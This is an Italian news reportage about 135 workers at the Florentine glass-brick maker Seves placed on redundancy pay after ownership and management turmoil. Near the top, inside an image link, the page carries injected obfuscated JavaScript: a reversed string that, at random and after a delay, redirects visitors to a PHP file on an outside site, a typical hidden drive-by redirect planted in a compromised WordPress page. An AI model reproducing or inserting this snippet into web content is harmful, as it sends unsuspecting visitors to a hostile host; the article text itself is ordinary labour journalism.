Seves, la crisi che non c'era. Reportage a puntate dalla parte di chi lavora

image_pdfimage_print
$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/03/Seves_stazHannover.jpg”>La stazione ferroviaria di Hannover. Parete in mattoni Seves
La stazione ferroviaria di Hannover. Parete in mattoni Seves

di Alessandro Bezzi

Qual è la situazione della Seves?
E, soprattutto, qual è la situazione dei suoi lavoratori?
Nella prima puntata del nostro reportage, una breve cronistoria di come si è arrivati alla cassa integrazione di 135 lavoratori di una delle aziende specializzate più importanti del distretto industriale fiorentino.

Un’azienda con 25 stabilimenti in tutto il mondo, fiore all’occhiello della più qualificata produzione industriale fiorentina: questa era la Seves, azienda specializzata nella costruzione di mattoni in vetro per l’architettura e l’arredo e nell’isolamento elettrico nei processi energetici. Ma da due anni a questa parte lo stabilimento fiorentino, direzione generale e principale sede dell’azienda, è in preda ad uno stravolgimento che rischia di lasciare 135 dei suoi 170 dipendenti senza lavoro: la particolare congiuntura economica, certo, ma anche precise quanto discutibili scelte di delocalizzazione e, soprattutto, la gestione da parte di società finanziarie multinazionali, più interessate a ripianare debiti contratti in altre operazioni che al futuro della Seves e dei suoi dipendenti. La nuova proprietà, convinta di controllare un’azienda con ottimi ricavi (e terreni appetibili anche dal punto di vista immobiliare, prima della bocciatura del nuovo piano strutturale), si ritrova invece alle prese con numerosi problemi occultati da una gestione finanziaria quantomeno discutibile (con il 50% delle giacenze sotto la voce Ricavi). Già nel dicembre 2008, quando la situazione interna si aggrava con la crisi economica, viene decisa la messa in mobilità di 20 dipendenti e la cassa integrazione straordinaria per altri 87:

«Le misure richieste si sono rese inevitabili a causa della grave crisi della divisione mattoni in vetro: vendite in calo del 32,5% e margine operativo in calo dell’83% negli ultimi due anni. Da qui l’intenzione comunicata ai sindacati di fermare per un periodo di 12 mesi la fase di produzione a caldo dello stabilimento di Firenze, così da ridurre in maniera significativa l’elevato livello di scorte della società».

Nel gennaio 2009 presso la Provincia di Firenze Seves, RSU, FILCEM-CGIL e FEMCA-CISL firmano un Verbale di Accordo sulla Cassa Integrazione Ordinaria: in attesa della nomina del nuovo amministratore delegato, prevista per aprile, l’azienda si impegna a verificare mensilmente, di concerto con le RSU, la situazione dei 110 dipendenti cassintegrati e le possibili rotazioni. Ma la situazione proprietaria si fa, con i mesi, sempre più caotica; il mondo politico non mostra, salvo qualche dichiarazione di circostanza, particolare interesse per la vicenda, rimandando la “patata bollente” al rinnovo delle amministrazioni comunali e provinciali. Le RSU aziendali ribadiscono a più riprese l’importanza che possono avere le istituzioni, ed in settembre nasce un tavolo di “consultazione interistituzionale per rafforzare l’azione degli enti locali a favore di una soluzione che assicuri la permanenza” dello stabilimento fiorentino.

A dicembre dell’anno scorso, i lavoratori Seves giudicano insufficienti le proposte fatte dall’azienda, che non dimostra una reale volontà di consolidare la propria attività nello stabilimento fiorentino e mantenerne l’operatività, pur avendolo da sempre ribadito come punto indiscutibile della propria politica. Infatti, l’azienda si impegna sì ad avviare le opere di rifacimento del forno fusorio ad aprile 2010, ma non dà alcun riferimento certo per la riaccensione dello stesso e quindi per la ripresa dell’attività produttiva. Il verbale di accordo del 15 giugno, sottoscritto da azienda, Rsu, Filcem Cgil e Femca Cisl, prevedeva invece la riaccensione del forno e la ripresa dell’attività produttiva una volta ridotti da 4,8 a 2,8 i milioni di pezzi giacenti in magazzino. Nella proposta avanzata al tavolo, la Seves avanza allora l’ipotesi della cassa integrazione, come puntualmente avviene dal febbraio 2010 per 135 lavoratori.  La riaccensione del forno avverrà “in funzione delle dinamiche di mercato”, termine tanto più vago se si aggiungono i 60 giorni considerati necessari per riavviarne l’attività.

Oggi, i lavoratori oscillano tra la speranza e la rassegnazione, dopo i drammatici sviluppi degli ultimi due anni in cui per troppo tempo sono stati tenuti all’oscuro: «Nessuno ci ha spiegato cosa significassero i verbali di accordo», ci spiegano, «siamo diventati quasi invisibili». Leonardo Bolognini, sindacalista RdB che segue da vicino i cassintegrati Seves, ci spiega come la situazione sia difficile da un punto di vista economico, sia per la situazione generale che per i casi individuali: mutui da pagare, figli da mandare a scuola, una precarietà che diventa esistenziale quando ci si trova davanti alle varie spese quotidiane. Senza pensare alla depressione che ha colpito molti dipendenti: si sentono trascurati, dai giornali, dalle istituzioni e da una politica che dovrebbe tutelare con maggior attenzione il mondo del lavoro, specie nella situazione attuale, delicatissima per molti lavoratori fiorentini. Cassintegrati e disoccupati non sono semplici numeri di un bilancio aziendale, ma persone (e intere famiglie) che guardano con preoccupazione crescente ad un futuro di precarietà e di difficile reinserimento nel mondo del lavoro.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *